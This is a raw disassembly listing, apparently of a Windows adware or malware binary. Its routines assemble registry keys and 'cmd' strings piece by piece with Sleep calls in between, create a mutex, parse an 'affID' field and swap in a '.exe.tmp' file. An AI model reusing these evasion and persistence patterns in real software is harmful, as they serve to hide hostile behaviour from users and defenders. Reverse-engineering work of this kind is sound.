		call	sub_426D5C
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-14h]
		push	eax
		mov	byte ptr [ebp-4], 5
		call	sub_4317A8
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 4
		call	sub_4317A2
		mov	ecx, [ebp+8]
		lea	eax, [ebp-14h]
		push	eax
		call	sub_431796
		mov	[ebp-1Ch], ebx
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_4317A2
		lea	ecx, [ebp-40h]
		mov	[ebp-4], bl
		call	sub_426ABF
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-10h]
		call	sub_4317A2
		mov	eax, [ebp+8]
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_42552A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425642	proc near		; CODE XREF: sub_42948F+6Ep
					; sub_42948F+12Bp ...
		mov	eax, offset loc_43224C
		call	sub_4318CA	; _EH_prolog
		sub	esp, 28h
		push	esi
		push	edi
		lea	ecx, [ebp-10h]
		call	sub_4317AE
		and	dword ptr [ebp-4], 0
		push	offset aWr	; "WR"
		lea	ecx, [ebp-10h]
		call	sub_43179C
		mov	esi, dword_4330E0
		push	20h
		pop	edi
		push	edi
		call	esi	; Sleep
		push	offset dword_437130
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	edi
		call	esi	; Sleep
		push	offset aNex	; "nex"
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	edi
		call	esi	; Sleep
		push	offset aTup	; "tup"
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	edi
		call	esi	; Sleep
		push	offset aDate	; "date"
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	80000000h
		push	1
		push	0
		push	ecx
		lea	eax, [ebp-10h]
		mov	ecx, esp
		mov	[ebp-14h], esp
		push	eax
		call	sub_431796
		lea	ecx, [ebp-34h]
		call	sub_426584
		lea	ecx, [ebp-34h]
		mov	byte ptr [ebp-4], 1
		call	sub_426816
		mov	edi, [ebp+8]
		mov	esi, eax
		test	edi, edi
		jle	short loc_4256FB
		lea	eax, [ebp+8]
		push	eax
		call	dword_4331A4	; time
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [eax+edi]
		jmp	short loc_425713
; ---------------------------------------------------------------------------


loc_4256FB:				; CODE XREF: sub_425642+A4j
		test	esi, esi
		jnz	short loc_42571C
		lea	eax, [ebp+8]
		push	eax
		call	dword_4331A4	; time
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [eax+0B4h]


loc_425713:				; CODE XREF: sub_425642+B7j
		push	esi
		lea	ecx, [ebp-34h]
		call	sub_426843


loc_42571C:				; CODE XREF: sub_425642+BBj
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-34h]
		call	sub_4266D6
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-10h]
		call	sub_4317A2
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		mov	large fs:0, ecx
		pop	esi
		leave
		retn	4
sub_425642	endp


; =============== S U B	R O U T	I N E =======================================



sub_425746	proc near		; CODE XREF: sub_422A1E+163p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	[esp+8+arg_0]
		mov	esi, ecx
		push	0
		push	0
		call	dword_4330B0	; CreateMutexA
		add	esi, 0Ch
		test	eax, eax
		mov	[esi], eax
		jz	short loc_425779
		call	dword_433028	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_425779
		push	dword ptr [esi]
		call	dword_433020	; CloseHandle
		and	dword ptr [esi], 0


loc_425779:				; CODE XREF: sub_425746+19j
					; sub_425746+26j
		cmp	dword ptr [esi], 0
		lea	ecx, [esp+8+arg_0]
		setz	bl
		call	sub_4317A2
		mov	al, bl
		pop	esi
		pop	ebx
		retn	4
sub_425746	endp


; =============== S U B	R O U T	I N E =======================================



sub_42578F	proc near		; CODE XREF: sub_42852F+E5p
		mov	eax, offset loc_432297
		call	sub_4318CA	; _EH_prolog
		sub	esp, 34h
		and	dword ptr [ebp-1Ch], 0
		push	ebx
		push	esi
		lea	ecx, [ebp-10h]
		call	sub_4317AE
		push	1
		lea	ecx, [ebp-10h]
		pop	ebx
		push	offset aWr	; "WR"
		mov	[ebp-4], ebx
		call	sub_43179C
		mov	esi, dword_4330E0
		push	22h
		call	esi	; Sleep
		push	offset dword_437130
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	20h
		call	esi	; Sleep
		push	offset aP_0	; "p"
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	80000000h
		push	ebx
		push	ecx
		mov	ecx, esp
		mov	[ebp-18h], esp
		push	offset byte_439CB0
		call	sub_43178A
		push	ecx
		lea	eax, [ebp-10h]
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	eax
		mov	byte ptr [ebp-4], 2
		call	sub_431796
		lea	ecx, [ebp-40h]
		mov	[ebp-4], bl
		call	sub_42692B
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_4317AE
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-40h]
		push	eax
		mov	byte ptr [ebp-4], 4
		call	sub_426D5C
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-14h]
		push	eax
		mov	byte ptr [ebp-4], 5
		call	sub_4317A8
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 4
		call	sub_4317A2
		mov	ecx, [ebp+8]
		lea	eax, [ebp-14h]
		push	eax
		call	sub_431796
		mov	[ebp-1Ch], ebx
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_4317A2
		lea	ecx, [ebp-40h]
		mov	[ebp-4], bl
		call	sub_426ABF
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-10h]
		call	sub_4317A2
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_42578F	endp


; =============== S U B	R O U T	I N E =======================================



sub_425896	proc near		; CODE XREF: sub_42852F+AEp
		mov	eax, offset loc_4322E3
		call	sub_4318CA	; _EH_prolog
		sub	esp, 34h
		and	dword ptr [ebp-1Ch], 0
		push	ebx
		push	esi
		lea	ecx, [ebp-10h]
		call	sub_4317AE
		push	1
		lea	ecx, [ebp-10h]
		pop	ebx
		push	offset aW	; "W"
		mov	[ebp-4], ebx
		call	sub_43179C
		mov	esi, dword_4330E0
		push	22h
		call	esi	; Sleep
		push	offset aR	; "R"
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	22h
		call	esi	; Sleep
		push	offset dword_437130
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	20h
		call	esi	; Sleep
		push	offset aI	; "i"
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	80000000h
		push	ebx
		push	ecx
		mov	ecx, esp
		mov	[ebp-18h], esp
		push	offset byte_439CB0
		call	sub_43178A
		push	ecx
		lea	eax, [ebp-10h]
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	eax
		mov	byte ptr [ebp-4], 2
		call	sub_431796
		lea	ecx, [ebp-40h]
		mov	[ebp-4], bl
		call	sub_42692B
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_4317AE
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-40h]
		push	eax
		mov	byte ptr [ebp-4], 4
		call	sub_426D5C
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-14h]
		push	eax
		mov	byte ptr [ebp-4], 5
		call	sub_4317A8
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 4
		call	sub_4317A2
		mov	ecx, [ebp+8]
		lea	eax, [ebp-14h]
		push	eax
		call	sub_431796
		mov	[ebp-1Ch], ebx
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_4317A2
		lea	ecx, [ebp-40h]
		mov	[ebp-4], bl
		call	sub_426ABF
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-10h]
		call	sub_4317A2
		mov	eax, [ebp+8]
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_425896	endp


; =============== S U B	R O U T	I N E =======================================



sub_4259AE	proc near		; CODE XREF: sub_424606+2E2p
		mov	eax, offset loc_432330
		call	sub_4318CA	; _EH_prolog
		sub	esp, 34h
		push	esi
		and	dword ptr [ebp-4], 0
		lea	ecx, [ebp-10h]
		call	sub_4317AE
		push	offset aW	; "W"
		lea	ecx, [ebp-10h]
		mov	byte ptr [ebp-4], 1
		call	sub_43179C
		mov	esi, dword_4330E0
		push	22h
		call	esi	; Sleep
		push	offset aR	; "R"
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	22h
		call	esi	; Sleep
		push	offset dword_437130
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	20h
		call	esi	; Sleep
		push	offset aI	; "i"
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		mov	eax, [ebp+8]
		mov	eax, [eax-8]
		cmp	eax, 3
		jl	loc_425B07
		push	80000000h
		push	1
		push	ecx
		mov	ecx, esp
		mov	[ebp-1Ch], esp
		push	offset byte_439CB0
		call	sub_43178A
		push	ecx
		lea	eax, [ebp-10h]
		mov	ecx, esp
		mov	[ebp-18h], esp
		push	eax
		mov	byte ptr [ebp-4], 2
		call	sub_431796
		lea	ecx, [ebp-40h]
		mov	byte ptr [ebp-4], 1
		call	sub_42692B
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_4317AE
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-40h]
		push	eax
		mov	byte ptr [ebp-4], 4
		call	sub_426D5C
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-14h]
		push	eax
		mov	byte ptr [ebp-4], 5
		call	sub_4317A8
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 4
		call	sub_4317A2
		lea	eax, [ebp-14h]
		push	offset asc_437448 ; ","
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_4317BA
		lea	ecx, [ebp+8]
		mov	byte ptr [ebp-4], 6
		push	ecx
		push	eax
		lea	eax, [ebp-18h]
		push	eax
		call	sub_4317B4
		push	eax
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 7
		call	sub_4317A8
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 6
		call	sub_4317A2
		lea	ecx, [ebp-1Ch]
		mov	byte ptr [ebp-4], 4
		call	sub_4317A2
		push	ecx
		lea	eax, [ebp-14h]
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	eax
		call	sub_431796
		lea	ecx, [ebp-40h]
		call	sub_426DB8
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_4317A2
		lea	ecx, [ebp-40h]
		mov	byte ptr [ebp-4], 1
		call	sub_426ABF


loc_425B07:				; CODE XREF: sub_4259AE+6Dj
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-10h]
		call	sub_4317A2
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+8]
		call	sub_4317A2
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4259AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B2E	proc near		; CODE XREF: sub_425353+178p
		mov	eax, offset loc_43236C
		call	sub_4318CA	; _EH_prolog
		sub	esp, 30h
		push	esi
		and	dword ptr [ebp-4], 0
		lea	ecx, [ebp-10h]
		call	sub_4317AE
		push	offset aW	; "W"
		lea	ecx, [ebp-10h]
		mov	byte ptr [ebp-4], 1
		call	sub_43179C
		mov	esi, dword_4330E0
		push	22h
		call	esi	; Sleep
		push	offset aR	; "R"
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	22h
		call	esi	; Sleep
		push	offset dword_437130
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	20h
		call	esi	; Sleep
		push	offset aCmd	; "cmd"
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	80000000h
		push	1
		push	ecx
		mov	esi, offset a0	; "0"
		mov	ecx, esp
		mov	[ebp-18h], esp
		push	esi
		call	sub_43178A
		push	ecx
		lea	eax, [ebp-10h]
		mov	ecx, esp
		mov	[ebp-1Ch], esp
		push	eax
		mov	byte ptr [ebp-4], 2
		call	sub_431796
		lea	ecx, [ebp-3Ch]
		mov	byte ptr [ebp-4], 1
		call	sub_42692B
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_4317AE
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-3Ch]
		push	eax
		mov	byte ptr [ebp-4], 4
		call	sub_426D5C
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-14h]
		push	eax
		mov	byte ptr [ebp-4], 5
		call	sub_4317A8
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 4
		call	sub_4317A2
		push	esi
		push	dword ptr [ebp-14h]
		call	dword_4331EC	; _mbscmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_425C28
		push	ecx
		lea	eax, [ebp+8]
		mov	ecx, esp
		mov	[ebp-1Ch], esp
		push	eax
		call	sub_431796
		lea	ecx, [ebp-3Ch]
		call	sub_426DB8


loc_425C28:				; CODE XREF: sub_425B2E+E1j
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_4317A2
		lea	ecx, [ebp-3Ch]
		mov	byte ptr [ebp-4], 1
		call	sub_426ABF
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-10h]
		call	sub_4317A2
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+8]
		call	sub_4317A2
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_425B2E	endp


; =============== S U B	R O U T	I N E =======================================



sub_425C67	proc near		; CODE XREF: sub_429039+70p
		mov	eax, offset loc_4323B7
		call	sub_4318CA	; _EH_prolog
		sub	esp, 34h
		and	dword ptr [ebp-1Ch], 0
		push	ebx
		push	esi
		lea	ecx, [ebp-10h]
		call	sub_4317AE
		push	1
		lea	ecx, [ebp-10h]
		pop	ebx
		push	offset aW	; "W"
		mov	[ebp-4], ebx
		call	sub_43179C
		mov	esi, dword_4330E0
		push	22h
		call	esi	; Sleep
		push	offset aR	; "R"
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	22h
		call	esi	; Sleep
		push	offset dword_437130
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	20h
		call	esi	; Sleep
		push	offset aC	; "c"
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	20h
		call	esi	; Sleep
		push	offset aMd	; "md"
		lea	ecx, [ebp-10h]
		call	sub_4317D8
		push	20h
		call	esi	; Sleep
		push	80000000h
		push	ebx
		push	ecx
		mov	ecx, esp
		mov	[ebp-18h], esp
		push	offset byte_439CB0
		call	sub_43178A
		push	ecx
		lea	eax, [ebp-10h]
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	eax
		mov	byte ptr [ebp-4], 2
		call	sub_431796
		lea	ecx, [ebp-40h]
		mov	[ebp-4], bl
		call	sub_42692B
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_4317AE
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-40h]
		push	eax
		mov	byte ptr [ebp-4], 4
		call	sub_426D5C
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-14h]
		push	eax
		mov	byte ptr [ebp-4], 5
		call	sub_4317A8
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 4
		call	sub_4317A2
		mov	ecx, [ebp+8]
		lea	eax, [ebp-14h]
		push	eax
		call	sub_431796
		mov	[ebp-1Ch], ebx
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_4317A2
		lea	ecx, [ebp-40h]
		mov	[ebp-4], bl
		call	sub_426ABF
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-10h]
		call	sub_4317A2
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_425C67	endp


; =============== S U B	R O U T	I N E =======================================



sub_425D94	proc near		; CODE XREF: sub_426022+5Cp
		mov	eax, offset loc_4323DC
		call	sub_4318CA	; _EH_prolog
		mov	eax, 8020h
		call	sub_431860
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], ecx
		xor	ebx, ebx
		lea	ecx, [ebp-1Ch]
		mov	[ebp-4], ebx
		call	sub_4317AE
		push	dword ptr [ebp+8]
		mov	esi, dword_4330CC
		lea	eax, [ebp-602Ch]
		mov	byte ptr [ebp-4], 1
		push	eax
		call	esi	; lstrcpyA
		lea	eax, [ebp-602Ch]
		push	eax
		call	dword_4330B4	; lstrlenA
		mov	ecx, [ebp-18h]
		push	eax
		lea	eax, [ebp-602Ch]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4230F8
		push	eax
		lea	ecx, [ebp-1Ch]
		mov	byte ptr [ebp-4], 2
		call	sub_4317A8
		lea	ecx, [ebp-10h]
		mov	byte ptr [ebp-4], 1
		call	sub_4317A2
		push	dword ptr [ebp-1Ch]
		lea	eax, [ebp-402Ch]
		push	eax
		call	dword_433298	; wsprintfA
		cmp	byte ptr [ebp-402Ch], 23h
		pop	ecx
		pop	ecx
		jnz	loc_425FF8
		push	ebx
		lea	eax, [ebp-402Ch]
		push	1
		push	eax
		lea	eax, [ebp-10h]
		lea	ecx, [ebp-14h]
		push	eax
		call	sub_421ACF
		push	dword ptr [eax]
		lea	eax, [ebp-402Ch]
		push	eax
		call	sub_4318B8	; strcpy
		pop	ecx
		pop	ecx
		lea	ecx, [ebp-10h]
		call	sub_4317A2
		lea	eax, [ebp-402Ch]
		push	23h
		push	eax
		lea	ecx, [ebp-14h]
		call	sub_421A20
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp-10h], edi
		jz	loc_425FF8
		jmp	short loc_425E7B
; ---------------------------------------------------------------------------


loc_425E78:				; CODE XREF: sub_425D94+25Ej
		mov	edi, [ebp-10h]


loc_425E7B:				; CODE XREF: sub_425D94+E2j
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_425E92
		lea	eax, [ebp-402Ch]
		push	eax
		lea	eax, [ebp-202Ch]
		push	eax
		call	esi	; lstrcpyA
		jmp	short loc_425EBA
; ---------------------------------------------------------------------------


loc_425E92:				; CODE XREF: sub_425D94+EAj
		push	edi
		lea	eax, [ebp-402Ch]
		push	ebx
		push	eax
		lea	eax, [ebp-28h]
		lea	ecx, [ebp-14h]
		push	eax
		call	sub_421ACF
		push	dword ptr [eax]
		lea	eax, [ebp-202Ch]
		push	eax
		call	esi	; lstrcpyA
		lea	ecx, [ebp-28h]
		call	sub_4317A2


loc_425EBA:				; CODE XREF: sub_425D94+FCj
		inc	edi
		push	ebx
		lea	eax, [ebp-402Ch]
		push	edi
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-14h]
		call	sub_421ACF
		push	dword ptr [eax]
		lea	eax, [ebp-402Ch]
		push	eax
		call	esi	; lstrcpyA
		lea	ecx, [ebp-20h]
		call	sub_4317A2
		lea	eax, [ebp-202Ch]
		push	3Ah
		push	eax
		lea	ecx, [ebp-14h]
		call	sub_421A20
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_425F4E
		push	edi
		lea	eax, [ebp-202Ch]
		push	ebx
		push	eax
		lea	eax, [ebp-24h]
		lea	ecx, [ebp-14h]
		push	eax
		call	sub_421ACF
		push	dword ptr [eax]
		lea	eax, [ebp-802Ch]
		push	eax
		call	esi	; lstrcpyA
		lea	ecx, [ebp-24h]
		call	sub_4317A2
		inc	edi
		push	ebx
		lea	eax, [ebp-202Ch]
		push	edi
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		lea	ecx, [ebp-14h]
		call	sub_421ACF
		push	dword ptr [eax]
		lea	eax, [ebp-202Ch]
		push	eax
		call	esi	; lstrcpyA
		lea	ecx, [ebp-2Ch]
		call	sub_4317A2
		jmp	short loc_425F73
; ---------------------------------------------------------------------------


loc_425F4E:				; CODE XREF: sub_425D94+165j
		lea	eax, [ebp-202Ch]
		push	eax
		lea	eax, [ebp-802Ch]
		push	eax
		call	esi	; lstrcpyA
		push	2000h
		lea	eax, [ebp-202Ch]
		push	ebx
		push	eax
		call	sub_4318B2	; memset
		add	esp, 0Ch


loc_425F73:				; CODE XREF: sub_425D94+1B8j
		push	5
		lea	eax, [ebp-802Ch]
		push	offset aAffid	; "affID"
		push	eax
		call	dword_4331AC	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_425FD6
		lea	eax, [ebp-202Ch]
		push	eax
		call	sub_4318BE	; strlen
		cmp	eax, 1
		pop	ecx
		jle	short loc_425FBB
		push	8Dh
		mov	[ebp+eax-202Dh], bl
		call	dword_4330E0	; Sleep
		lea	eax, [ebp-202Ch]
		push	eax
		jmp	short loc_425FCB
; ---------------------------------------------------------------------------


loc_425FBB:				; CODE XREF: sub_425D94+20Aj
		push	0C0h
		call	dword_4330E0	; Sleep
		push	offset byte_439CB0


loc_425FCB:				; CODE XREF: sub_425D94+225j
		mov	eax, [ebp-18h]
		lea	ecx, [eax+4]
		call	sub_43179C


loc_425FD6:				; CODE XREF: sub_425D94+1F8j
		cmp	dword ptr [ebp-10h], 0FFFFFFFFh
		jz	short loc_425FF8
		lea	eax, [ebp-402Ch]
		push	23h
		push	eax
		lea	ecx, [ebp-14h]
		call	sub_421A20
		cmp	eax, ebx
		mov	[ebp-10h], eax
		jnz	loc_425E78


loc_425FF8:				; CODE XREF: sub_425D94+90j
					; sub_425D94+DCj ...
		lea	ecx, [ebp-1Ch]
		mov	[ebp-4], bl
		call	sub_4317A2
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+8]
		call	sub_4317A2
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_425D94	endp


; =============== S U B	R O U T	I N E =======================================



sub_426022	proc near		; CODE XREF: sub_42948F+59p
		mov	eax, offset loc_432470
		call	sub_4318CA	; _EH_prolog
		sub	esp, 68h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, dword_4330E0
		and	dword ptr [ebp-4], 0
		push	0CE8h
		call	esi	; Sleep
		lea	ecx, [ebp-14h]
		call	sub_4317AE
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 1
		call	sub_4317AE
		lea	ecx, [ebp-34h]
		mov	byte ptr [ebp-4], 2
		call	sub_4317AE
		push	22h
		mov	byte ptr [ebp-4], 3
		call	esi	; Sleep
		push	ecx
		lea	eax, [ebp+8]
		mov	ecx, esp
		mov	[ebp-30h], esp
		push	eax
		call	sub_431796
		mov	ecx, edi
		call	sub_425D94
		lea	ebx, [edi+1Ch]
		push	offset aM	; "\\m"
		lea	eax, [ebp-2Ch]
		push	ebx
		push	eax
		call	sub_4317BA
		push	eax
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 4
		call	sub_4317A8
		lea	ecx, [ebp-2Ch]
		mov	byte ptr [ebp-4], 3
		call	sub_4317A2
		push	22h
		call	esi	; Sleep
		push	offset aRo	; "ro"
		lea	ecx, [ebp-14h]
		call	sub_4317D8
		push	22h
		call	esi	; Sleep
		push	offset aFinu	; "finu"
		lea	ecx, [ebp-14h]
		call	sub_4317D8
		push	20h
		call	esi	; Sleep
		lea	eax, [edi+4]
		push	offset a_ex	; ".ex"
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_4317BA
		push	eax
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 5
		call	sub_4317E4
		lea	ecx, [ebp-2Ch]
		mov	byte ptr [ebp-4], 3
		call	sub_4317A2
		push	offset aE	; "e"
		lea	ecx, [ebp-14h]
		call	sub_4317D8
		push	ebx
		lea	ecx, [ebp-18h]
		call	sub_4317A8
		push	offset dword_437130
		lea	ecx, [ebp-18h]
		call	sub_4317D8
		push	21h
		call	esi	; Sleep
		push	offset aMr	; "mr"
		lea	ecx, [ebp-18h]
		call	sub_4317D8
		push	22h
		call	esi	; Sleep
		push	offset aOf	; "of"
		lea	ecx, [ebp-18h]
		call	sub_4317D8
		lea	eax, [edi+4]
		push	eax
		lea	eax, [ebp-28h]
		push	offset aInu	; "inu"
		push	eax
		call	sub_4317DE
		push	offset a_exe_tmp ; ".exe.tmp"
		push	eax
		lea	eax, [ebp-2Ch]
		mov	byte ptr [ebp-4], 6
		push	eax
		call	sub_4317BA
		push	eax
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 7
		call	sub_4317E4
		lea	ecx, [ebp-2Ch]
		mov	byte ptr [ebp-4], 6
		call	sub_4317A2
		lea	ecx, [ebp-28h]
		mov	byte ptr [ebp-4], 3
		call	sub_4317A2
		push	20h
		call	esi	; Sleep
		push	ecx
		lea	eax, [ebp+8]
		mov	ecx, esp
		mov	[ebp-30h], esp
		push	eax
		call	sub_431796
		push	ecx
		lea	eax, [ebp-14h]
		mov	ecx, esp
		mov	[ebp-2Ch], esp
		push	eax
		mov	byte ptr [ebp-4], 8
		call	sub_431796
		mov	ecx, edi
		mov	byte ptr [ebp-4], 3
		call	sub_425353
		push	dword ptr [edi+20h]
		lea	ebx, [edi+20h]
		push	dword ptr [ebp-14h]
		call	dword_4331EC	; _mbscmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_426229
		push	dword ptr [ebp-18h]
		call	sub_4221DB
		test	eax, eax
		pop	ecx
		jz	short loc_4261ED
		push	1
		push	dword ptr [ebp-18h]
		call	sub_421C92
		pop	ecx
		pop	ecx


loc_4261ED:				; CODE XREF: sub_426022+1BDj
		push	dword ptr [ebp-14h]
		call	sub_4221DB
		test	eax, eax
		pop	ecx
		jz	short loc_42620A
		push	1
		push	dword ptr [ebp-18h]
		push	dword ptr [ebp-14h]
		call	sub_421D8A
		add	esp, 0Ch


loc_42620A:				; CODE XREF: sub_426022+1D6j
		mov	eax, [ebx]
		push	1
		push	dword ptr [ebp-14h]
		push	eax
		call	sub_421D8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_426229
		lea	eax, [ebp-14h]
		mov	ecx, ebx
		push	eax
		call	sub_4317A8


loc_426229:				; CODE XREF: sub_426022+1B0j
					; sub_426022+1FAj
		push	80000002h
		push	1
		push	ecx
		mov	ecx, esp
		mov	[ebp-30h], esp
		push	offset aDefaultvalue ; "defaultvalue"
		call	sub_43178A
		push	ecx
		mov	ecx, edi
		mov	eax, esp
		mov	[ebp-2Ch], esp
		push	72h
		push	offset a11866787a5f240 ; "11866787A5F240675EE6610530A652BC94C74E7"...
		push	eax
		mov	byte ptr [ebp-4], 9
		call	sub_4230F8
		lea	ecx, [ebp-74h]
		mov	byte ptr [ebp-4], 3
		call	sub_42692B
		lea	ecx, [ebp-1Ch]
		mov	byte ptr [ebp-4], 0Ah
		call	sub_4317AE
		push	offset aWr	; "WR"
		lea	ecx, [ebp-1Ch]
		mov	byte ptr [ebp-4], 0Bh
		call	sub_43179C
		push	20h
		call	esi	; Sleep
		push	offset aVersion_1 ; "\\version"
		lea	ecx, [ebp-1Ch]
		call	sub_4317D8
		push	80000000h
		push	1
		push	ecx
		mov	ecx, esp
		mov	[ebp-30h], esp
		push	edi
		call	sub_431796
		push	ecx
		lea	eax, [ebp-1Ch]
		mov	ecx, esp
		mov	[ebp-2Ch], esp
		push	eax
		mov	byte ptr [ebp-4], 0Ch
		call	sub_431796
		lea	ecx, [ebp-54h]
		mov	byte ptr [ebp-4], 0Bh
		call	sub_42692B
		lea	eax, [ebp-24h]
		lea	ecx, [ebp-74h]
		push	eax
		mov	byte ptr [ebp-4], 0Dh
		call	sub_426D5C
		lea	eax, [ebp-24h]
		lea	ecx, [ebp-2Ch]
		push	eax
		mov	byte ptr [ebp-4], 0Eh
		call	sub_431796
		push	eax
		lea	ecx, [edi+24h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_4317A8
		lea	ecx, [ebp-2Ch]
		mov	byte ptr [ebp-4], 0Eh
		call	sub_4317A2
		lea	ecx, [ebp-24h]
		mov	byte ptr [ebp-4], 0Dh
		call	sub_4317A2
		push	dword ptr [edi]
		mov	ebx, dword_4331A8
		call	ebx	; atoi
		pop	ecx
		mov	[ebp-2Ch], eax
		mov	dword ptr [ebp-4], 0Dh
		push	2Ah
		call	esi	; Sleep
		and	dword ptr [ebp-20h], 0
		lea	eax, [edi+14h]
		mov	[ebp-24h], eax


loc_42632D:				; CODE XREF: sub_426022+358j
		lea	eax, [ebp-28h]
		lea	ecx, [ebp-54h]
		push	eax
		call	sub_426D5C
		mov	ecx, [ebp-24h]
		lea	eax, [ebp-28h]
		push	eax
		mov	byte ptr [ebp-4], 12h
		call	sub_4317A8
		lea	ecx, [ebp-28h]
		mov	byte ptr [ebp-4], 0Dh
		call	sub_4317A2
		mov	eax, [ebp-24h]
		push	dword ptr [eax]
		call	ebx	; atoi
		cmp	eax, [ebp-2Ch]
		pop	ecx
		mov	[ebp-30h], eax
		mov	dword ptr [ebp-4], 0Dh
		jge	short loc_42637C
		push	13A9h
		call	esi	; Sleep
		inc	dword ptr [ebp-20h]
		cmp	dword ptr [ebp-20h], 0Ah
		jl	short loc_42632D


loc_42637C:				; CODE XREF: sub_426022+348j
		mov	eax, [ebp-2Ch]
		cmp	[ebp-30h], eax
